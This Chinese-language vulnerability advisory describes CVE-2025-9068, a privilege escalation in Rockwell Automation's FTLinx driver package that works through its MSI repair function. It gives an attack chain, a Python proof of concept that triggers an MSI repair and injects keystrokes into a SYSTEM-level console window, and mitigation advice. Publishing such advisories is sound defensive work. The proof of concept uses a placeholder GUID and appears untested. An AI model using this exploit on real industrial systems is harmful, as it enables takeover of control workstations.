IPBUF安全漏洞报告
English
CVE-2025-9068 CVSS 7.8 高危

CVE-2025-9068 Rockwell Automation FTLinx MSI修复权限提升漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-9068
漏洞类型
权限提升/不安全的服务权限
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rockwell Automation Driver Package x64 (FTLinx)

相关标签

权限提升Rockwell AutomationFTLinx工业控制系统ICS安全SCADA本地提权SYSTEM权限MSI修复vbpinstall

漏洞概述

CVE-2025-9068是Rockwell Automation Driver Package x64 Microsoft Installer File (MSI)修复功能中存在的一个高危安全漏洞。该漏洞影响随FTLinx一起安装的驱动程序包组件。FTLinx是Rockwell Automation开发的工业通信软件套件,广泛应用于工业控制系统(ICS)和SCADA系统中,用于与Allen-Bradley可编程逻辑控制器(PLC)进行通信。

该漏洞的根本原因在于MSI修复功能在执行修复操作时,会以SYSTEM级别权限启动vbpinstall.exe进程的控制台窗口。拥有有效Windows用户凭证的认证攻击者可以主动触发修复操作,并在此过程中劫持该控制台窗口。一旦成功劫持,攻击者能够启动一个以SYSTEM级别权限运行的命令提示符,从而获得对系统中所有文件、进程和系统资源的完全访问权限。

该漏洞的CVSS 3.1评分为7.8,属于高危级别。攻击向量为本地攻击(AV:L),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。一旦利用成功,对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。由于该漏洞允许攻击者从普通用户权限提升至SYSTEM级别,对工业控制环境中的工作站和服务器构成严重威胁,可能成为攻击者在工业网络中进行横向移动的关键跳板。

技术细节

该漏洞利用了Windows MSI安装包修复功能中的一个不安全设计模式。具体技术原理如下:

1. **不安全的服务权限配置**:当FTLinx安装Driver Package x64 MSI时,其修复功能注册了一个以SYSTEM级别权限运行的服务或进程。当用户触发MSI修复操作时,系统会以高权限上下文启动vbpinstall.exe。

2. **控制台窗口劫持**:vbpinstall.exe在以SYSTEM权限运行时,会创建一个可见的控制台窗口。攻击者可以利用Windows的窗口消息机制,通过发送特定的消息(如WM_CLOSE被阻止后的键盘输入消息)劫持该控制台窗口。攻击者可以在该控制台窗口中输入并执行任意命令。

3. **权限提升路径**:由于控制台窗口以SYSTEM权限运行,攻击者在其中执行的任何命令都将继承SYSTEM级别的安全令牌。这使得普通用户权限的攻击者能够:读取所有系统文件、修改系统配置、安装恶意软件、创建持久化后门、以及对工业控制系统进行进一步攻击。

4. **利用前提条件**:攻击者需要拥有目标系统上的有效Windows用户凭证(低权限账户即可),然后通过命令行执行MSI修复命令(如msiexec /fa)或通过控制面板的程序修复功能触发修复流程。

5. **攻击影响**:成功利用后,攻击者获得完整的SYSTEM级别访问权限,可执行任意代码,完全控制受影响的系统,对工业控制环境的安全运行构成严重威胁。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼、密码喷洒或其他方式获取目标工业控制系统工作站上的有效Windows用户凭证(低权限账户即可)。
STEP 2
步骤2:触发MSI修复
攻击者以普通用户身份登录系统,通过命令行执行msiexec /fa命令或通过控制面板触发Rockwell Automation Driver Package x64 MSI的修复操作。
STEP 3
步骤3:等待高权限进程启动
系统以SYSTEM级别权限启动vbpinstall.exe进程,并创建可见的控制台窗口用于显示安装/修复进度。
STEP 4
步骤4:劫持控制台窗口
攻击者利用Windows窗口消息机制,向vbpinstall.exe的控制台窗口发送键盘输入消息,劫持该窗口的命令执行能力。
STEP 5
步骤5:执行任意命令
攻击者在被劫持的控制台窗口中输入并执行任意命令,由于该进程以SYSTEM权限运行,所有命令将以最高权限执行。
STEP 6
步骤6:完全控制系统
攻击者获得SYSTEM级别权限后,可访问所有文件、进程和系统资源,安装持久化后门,或对工业控制系统进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9068 - Rockwell Automation FTLinx MSI Repair Privilege Escalation PoC # This PoC demonstrates the concept of hijacking the SYSTEM-level console window # during the MSI repair operation of Rockwell Automation Driver Package x64. import subprocess import ctypes import time import win32gui import win32con import win32process import win32api def find_vbpinstall_window(): """Find the vbpinstall.exe console window""" def callback(hwnd, hwnds): if win32gui.IsWindowVisible(hwnd): title = win32gui.GetWindowText(hwnd) if 'vbpinstall' in title.lower() or 'vbp' in title.lower(): hwnds.append(hwnd) return True hwnds = [] win32gui.EnumWindows(callback, hwnds) return hwnds def trigger_msi_repair(): """Trigger the MSI repair operation for Rockwell Automation Driver Package""" # Find the Rockwell Automation Driver Package MSI product code # The product GUID varies by installation product_code = "{ROCKWELL-DRIVER-PACKAGE-GUID}" # Execute MSI repair with user-triggerable flag cmd = f'msiexec /fa "{product_code}" /qn' subprocess.Popen(cmd, shell=True) print(f"[*] Triggered MSI repair: {cmd}") def hijack_console(hwnd): """Hijack the SYSTEM-level console window and execute commands""" # Get the process ID of the SYSTEM-level process _, pid = win32process.GetWindowThreadProcessId(hwnd) print(f"[*] Found vbpinstall.exe window (PID: {pid})") # Bring window to foreground win32gui.SetForegroundWindow(hwnd) win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) # Send command to the hijacked console # The command runs with SYSTEM privileges command = "cmd.exe /c whoami > C:\\temp\\system_proof.txt\r\n" for char in command: win32api.SendMessage(hwnd, win32con.WM_CHAR, ord(char), 0) time.sleep(0.01) print("[+] Console hijacked - command executed with SYSTEM privileges") def main(): print("=" * 60) print("CVE-2025-9068 - Rockwell Automation Privilege Escalation PoC") print("=" * 60) # Step 1: Trigger the MSI repair trigger_msi_repair() # Step 2: Wait for vbpinstall.exe to start print("[*] Waiting for vbpinstall.exe to launch...") time.sleep(5) # Step 3: Find and hijack the console window windows = find_vbpinstall_window() if windows: hijack_console(windows[0]) else: print("[-] Could not find vbpinstall.exe window") if __name__ == "__main__": main()

影响范围

Rockwell Automation Driver Package x64 (随FTLinx安装的所有版本)
FTLinx 所有受影响的版本

防御指南

临时缓解措施
在应用官方补丁之前,建议采取以下临时缓解措施:1)限制能够登录工业控制系统工作站的用户账户数量,仅允许必要的运维人员;2)监控msiexec.exe和vbpinstall.exe的异常启动行为;3)使用组策略限制普通用户执行MSI修复操作的权限;4)部署主机入侵检测系统(HIDS)监控SYSTEM级别进程的创建;5)对关键工业控制系统工作站实施网络隔离,限制远程访问;6)定期审计用户账户和权限配置,确保遵循最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表